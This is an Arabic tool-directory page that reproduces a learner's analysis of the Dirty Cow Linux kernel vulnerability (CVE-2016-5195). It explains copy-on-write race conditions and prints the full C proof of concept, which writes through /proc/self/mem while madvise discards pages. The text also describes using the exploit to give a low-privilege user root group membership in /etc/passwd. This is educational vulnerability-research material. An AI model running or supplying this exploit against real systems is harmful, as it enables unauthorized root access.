Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Research-CVE-2016-5195 | Kitploit
أدوات/GitHubGitHub/h1n4mx0z/research-cve-2016-5195
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubh1n4mx0z/research-cve-2016-5195

Research-CVE-2016-5195

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2016-5195(Dirty Cow)

Cow تعني copy-on-write، ظهرت على أنوية Linux منذ عام 2007 واكتُشفت في عام 2016. وبما أنني أعمل على مختبر (lab) يتعلق بهذا الـ CVE، فسأنتهز الفرصة لكتابة تحليل عنه.

1. مقدمة

بما أن النواة (kernel) تعمل بصلاحيات root، يمكن استغلالها ثغرةً لتوسيع الصلاحيات (privilege escalation). وهذا يعني أن المهاجم يمكنه استغلال حالة السباق (Race Condition) للحصول على صلاحيات root من مستخدم منخفض الصلاحية.

2. إذًا، ما هي حالة السباق (Race Condition)؟

كما تعلمت للتو في مادة نظرية أنظمة التشغيل، تحدث حالة السباق (Race Condition) عندما تصل عمليتان أو أكثر إلى نفس المورد وتنفذان عمليات عليه دون مزامنة صحيحة. عندها قد تكون نتائج هذه العمليات غير صحيحة أو غير متوقعة.

لتوضيح الأمر أكثر، لنأخذ مثالًا بسيطًا:

root@kitploit:~
a = "h1n4m";   # ta gán cho a một chuỗi 
b = a;         # gán tiếp cho b = a

هنا، على الرغم من أن لدينا متغيرين، إلا أن كلاهما يشير إلى نفس كائن الذاكرة. هذه آلية من نظام التشغيل، إذ لا داعي لاستهلاك ضعف مساحة الذاكرة من أجل قيم متطابقة. ينتظر نظام التشغيل حتى يتم تعديل النسخة، وعندها فقط يخصص ذاكرة منفصلة للمتغير الآخر.

root@kitploit:~
b += "dep trai vcl"   # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau

في هذه اللحظة، سيقوم نظام التشغيل بالخطوات التالية:

  1. تخصيص ذاكرة للمتغير الجديد المعدَّل.
  2. قراءة المحتوى الأصلي للكائن المنسوخ.
  3. تنفيذ أي تغيير مطلوب عليه، أي إضافة "dep trai vcl".
  4. كتابة المحتوى المعدَّل إلى مساحة الذاكرة المخصصة حديثًا.

تحدث حالة السباق بين الخطوة 2 والخطوة 4، لتخدع تعيين الذاكرة (memory mapping) فيكتب المحتوى المعدَّل إلى مساحة الذاكرة الأصلية بدلًا من المساحة المخصصة حديثًا. يجعلنا هذا نعدّل الذاكرة التابعة لـ a، أي الكائن الأصلي، بدلًا من b، حتى لو كانت صلاحياتنا على a قراءةً فقط.

3. Dirty cow

الآن نأتي إلى الجزء الرئيسي، ما فكرة الاستغلال؟ كما نعلم، صلاحيات المستخدم محددة في ملف /etc/passwd، ولا يمكن لغير root تعديل هذا الملف. فهل يمكننا استغلال حالة السباق (Race Condition) لتغيير محتوى ملف /etc/passwd من مستخدم يملك صلاحية القراءة فقط؟

الإجابة هي نعم. أولًا، سنحلل كود استغلال مطبقًا على مثال أبسط: المصدر: https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6

أولًا، ننشئ ملفًا اسمه dirtycow بصلاحيات 644 (فقط root يملك صلاحية الكتابة). نلاحظ أن محاولة كتابة "Hello" إلى الملف تقابل برسالة Permission denied.

إذًا أصبح هدف الهجوم جاهزًا، والآن إلى كود الاستغلال:

root@kitploit:~
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    int f=open("dirtycow", O_RDONLY);

    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr(map,"h1n4m");                        

    pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

يتكون هذا الاستغلال من ثلاثة خيوط (threads): الخيط الرئيسي، وخيط writeThread، وخيط madvise.

الخيط الرئيسي وظيفته تعيين ملفنا (map) داخل الذاكرة:

root@kitploit:~
    // Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc) 
    int f=open("dirtycow", O_RDONLY);

    // Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

إيجاد موقع النمط المطلوب استبداله:

root@kitploit:~
    // Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ 
    char *position = strstr(map,"h1n4m");

بعد ذلك نبدأ تشغيل الخيطين، writeThread و madviseThread.

root@kitploit:~
pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

writeThread:

root@kitploit:~
    void *writeThread(void *arg)
    {
        char *content= "h4ck3r";
        off_t offset = (off_t) arg;
    
        int f=open("/proc/self/mem", O_RDWR);
        while(1) {
            // Đưa con trỏ đến chính xác vị trí cần thay đổi
            lseek(f, offset, SEEK_SET);
            // Thay đổi trên memory
            write(f, content, strlen(content));
        }
    }

مهمة هذا الخيط هي استبدال السلسلة h1n4m بـ h4ck3r (أو أي شيء تريده :> أليس هذا خطيرًا؟)، ولكن نظرًا لأن الذاكرة المعينة (map memory) من نوع copy-on-write، فإن هذا الخيط يمكنه تعديل المحتوى على نسخة الذاكرة المعينة فقط دون إحداث أي تغيير في الملف؟؟

إذًا أين يكمن الخطر؟ سنرى ذلك في الخيط الآخر.

madviseThread

root@kitploit:~
    void *madviseThread(void *arg)
    {
        int file_size = (int) arg;
        while(1){
            madvise(map, file_size, MADV_DONTNEED);
        }
    }

هذا الخيط يقوم بعمل واحد فقط، وهو حذف نسخة الذاكرة المعينة، لذا يمكن للمؤشر أن يعود ليشير إلى الذاكرة المعينة الأصلية أو الذاكرة المُخطَّطة في البداية.

إذا نُفّذ هذان الخيطان بشكل تسلسلي، أي دون تعدد خيوط (non-multithread)، فسيقتصر التأثير دائمًا على نسخة الذاكرة المعينة دون أي خطر على الملف ذي الصلاحيات. أما إذا استدعاهما النظام في الوقت نفسه، أي بتعدد خيوط (multithread)، فماذا سيحدث؟ بالضبط، حالة سباق (Race Condition). ستأتي لحظة يخطئ فيها النظام ويوجّه المؤشر إلى الذاكرة المعينة الأصلية نفسها ويعدّل البيانات في ملف root رغم أنه لا يملك صلاحية الكتابة. لكن النظام لا يخطئ دائمًا، لذلك نُشغِّل الخيطين في حلقة لا نهائية؛ يكفي أن يخطئ النظام مرة واحدة فقط حتى تسير الأمور كما خططنا تمامًا.

لنبدأ الاستغلال

نعود إلى الموضوع الرئيسي: ملف /etc/passwd هو ملف لا يملك صلاحية تعديله سوى root. نحتاج إلى تطبيق ما تعلمناه أعلاه لتعديل مجموعة (group) المستخدم lowuser في ملف /etc/passwd

  • PoC لا يملك المستخدم lowuser صلاحية الكتابة على ملف dirtycow. أصبح lowuser ضمن مجموعة root (1001->0000)

4. الخلاصة

في هذا التحليل، عرّفتكم على CVE-2016-5195 المعروف باسم "البقرة القذرة (Dirty Cow)". وبالإضافة إلى تعديل المجموعة، يمكننا أيضًا إضافة مستخدم كامل إلى النظام، والطريقة نفسها تمامًا. وعلى الرغم من أن هذا الـ CVE قديم جدًا، إلا أن كثيرًا من الأنظمة التي ما زالت تستخدم أنوية قديمة متأثرة به حتى اليوم. آمل أن يكون هذا المقال قد أعطاكم فهمًا عامًا للثغرة وطرق حماية أنظمتكم منها. (حدّثوا النواة (kernel) !!!!!)

وأنا هو h1n4m. Peaceeeee.

تنزيل الأداة